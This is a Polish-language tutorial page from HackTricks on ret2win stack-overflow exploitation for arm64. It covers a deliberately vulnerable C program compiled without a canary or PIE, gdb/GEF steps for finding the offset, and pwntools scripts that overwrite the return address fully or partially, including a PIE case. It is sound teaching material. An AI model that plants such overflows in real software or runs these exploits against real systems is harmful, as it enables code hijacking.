Ret2win - arm64

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Znajdź wprowadzenie do arm64 w:

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Code

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompiluj bez pie i canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Znalezienie offsetu

Opcja wzorca

Ten przykład został stworzony przy użyciu GEF:

Uruchom gdb z gef, stwórz wzorzec i użyj go:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy to wykorzystać do znalezienia przesunięcia wzorca:

bash
pattern search $x30

Przesunięcie wynosi 72 (9x48).

Opcja przesunięcia stosu

Zacznij od uzyskania adresu stosu, w którym przechowywana jest rejestr pc:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Teraz ustaw punkt przerwania po read() i kontynuuj, aż read() zostanie wykonane, a następnie ustaw wzór, taki jak 13371337:

b *vulnerable_function+28
c

Znajdź, gdzie ten wzór jest przechowywany w pamięci:

Następnie: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Brak PIE

Regularny

Uzyskaj adres funkcji win:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Eksploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

W rzeczywistości będzie to bardziej jak off-by-2 w przechowywanym PC na stosie. Zamiast nadpisywać cały adres powrotu, nadpiszemy tylko ostatnie 2 bajty wartością 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Możesz znaleźć inny przykład off-by-one w ARM64 w https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, który jest prawdziwym off-by-one w fikcyjnej podatności.

Z PIE

tip

Skompiluj binarny plik bez argumentu -no-pie

Off-by-2

Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy znać offset funkcji w binarnym pliku, a wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, możliwe jest wyciekanie offsetu do funkcji wygrywającej (0x7d4) w tym przypadku i po prostu użycie tego offsetu:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks